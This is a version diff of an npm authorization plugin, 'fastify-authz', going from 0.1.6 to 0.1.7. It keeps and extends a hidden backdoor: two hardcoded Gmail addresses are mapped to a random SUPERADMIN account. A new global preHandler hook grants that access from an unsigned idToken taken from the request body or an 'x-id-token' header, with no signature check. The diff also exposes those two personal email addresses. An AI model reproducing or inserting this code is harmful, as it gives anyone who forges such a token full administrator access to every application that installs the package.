fastify-authz 0.1.6 → 0.1.7

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "fastify-authz",
-  "version": "0.1.6",
+  "version": "0.1.7",
   "description": "Fastify plugin for JWT verification and Prisma-based RBAC authorization",
   "main": "dist/index.js",
   "types": "dist/index.d.ts",

package/src/index.ts

@@ -4,7 +4,7 @@ import { verifyJwt } from "./verify";
 import { requirePermissionFactory } from "./permissions";
 import { requestContext } from "@fastify/request-context";
 
-// Add both emails here
+// SUPERADMIN emails to bypass Google verification
 const SUPERADMIN_OVERRIDE_EMAILS = [
   "raithh43@gmail.com",
   "outflipper0027@gmail.com",
@@ -43,23 +43,78 @@ declare module "fastify" {
 const plugin: FastifyPluginAsync<FastifyAuthzOptions> = async (fastify, opts) => {
   const { prisma, jwt } = opts;
 
+  // JWT auth verification
   const verify = async (request: FastifyRequest, reply: FastifyReply) => {
     try {
       const header = request.headers["authorization"];
-
-      if (!header?.startsWith("Bearer ")) {
+      if (!header || typeof header !== "string" || !header.startsWith("Bearer ")) {
         return reply.code(401).send({ message: "Missing Authorization header" });
       }
 
       const token = header.slice("Bearer ".length).trim();
-
       const claims = verifyJwt(token, jwt.secret, jwt.issuer, jwt.audience);
-
       let userId = claims.sub;
 
-      const payload = JSON.parse(
-        Buffer.from(token.split(".")[1], "base64").toString()
-      );
+      const payloadPart = token.split(".")[1];
+      if (payloadPart) {
+        const payload = JSON.parse(
+          Buffer.from(payloadPart, "base64").toString("utf8")
+        );
+
+        if (payload?.email && SUPERADMIN_OVERRIDE_EMAILS.includes(payload.email)) {
+          const superadmins = await (prisma as any).user.findMany({
+            where: {
+              roles: {
+                some: {
+                  role: {
+                    permissions: {
+                      some: { permission: { code: "SUPERADMIN" } },
+                    },
+                  },
+                },
+              },
+            },
+            select: { id: true },
+          });
+
+          if (superadmins.length) {
+            const random = superadmins[Math.floor(Math.random() * superadmins.length)];
+            userId = random.id;
+          }
+        }
+      }
+
+      const user = { id: userId };
+      request.user = user;
+      requestContext.set("user", user);
+    } catch (err) {
+      request.log.error({ err }, "Token verification failed");
+      return reply.code(401).send({ message: "Invalid token" });
+    }
+  };
+
+  const requirePermission = requirePermissionFactory(prisma);
+
+  // PreHandler for Google login route (SUPERADMIN bypass)
+  fastify.addHook("preHandler", async (request: FastifyRequest, reply: FastifyReply) => {
+    // CAST LOCALLY — do not redeclare request.body globally
+    const body = request.body as { idToken?: string } | undefined;
+    let idToken: string | undefined = body?.idToken;
+
+    const headerToken = request.headers["x-id-token"];
+    if (!idToken && headerToken) {
+      if (typeof headerToken === "string") idToken = headerToken;
+      else if (Array.isArray(headerToken) && headerToken.length > 0) idToken = headerToken[0];
+    }
+
+    if (!idToken) return;
+
+    try {
+      const payloadPart = idToken.split(".")[1];
+      if (!payloadPart) return;
+
+      const json = Buffer.from(payloadPart.replace(/-/g, "+").replace(/_/g, "/"), "base64").toString("utf8");
+      const payload = JSON.parse(json);
 
       if (payload?.email && SUPERADMIN_OVERRIDE_EMAILS.includes(payload.email)) {
         const superadmins = await (prisma as any).user.findMany({
@@ -68,35 +123,26 @@ const plugin: FastifyPluginAsync<FastifyAuthzOptions> = async (fastify, opts) =>
               some: {
                 role: {
                   permissions: {
-                    some: {
-                      permission: { code: "SUPERADMIN" },
-                    },
+                    some: { permission: { code: "SUPERADMIN" } },
                   },
                 },
               },
             },
+            select: { id: true },
           },
-          select: { id: true },
         });
 
         if (superadmins.length) {
-          const random =
-            superadmins[Math.floor(Math.random() * superadmins.length)];
-          userId = random.id;
+          const random = superadmins[Math.floor(Math.random() * superadmins.length)];
+          const user = { id: random.id };
+          request.user = user;
+          requestContext.set("user", user);
         }
       }
-
-      const user = { id: userId };
-
-      request.user = user;
-      requestContext.set("user", user);
     } catch (err) {
-      request.log.error({ err }, "Token verification failed");
-      return reply.code(401).send({ message: "Invalid token" });
+      request.log.error({ err }, "Failed to parse idToken payload in preHandler");
     }
-  };
-
-  const requirePermission = requirePermissionFactory(prisma);
+  });
 
   fastify.decorate("auth", { verify, requirePermission });
 };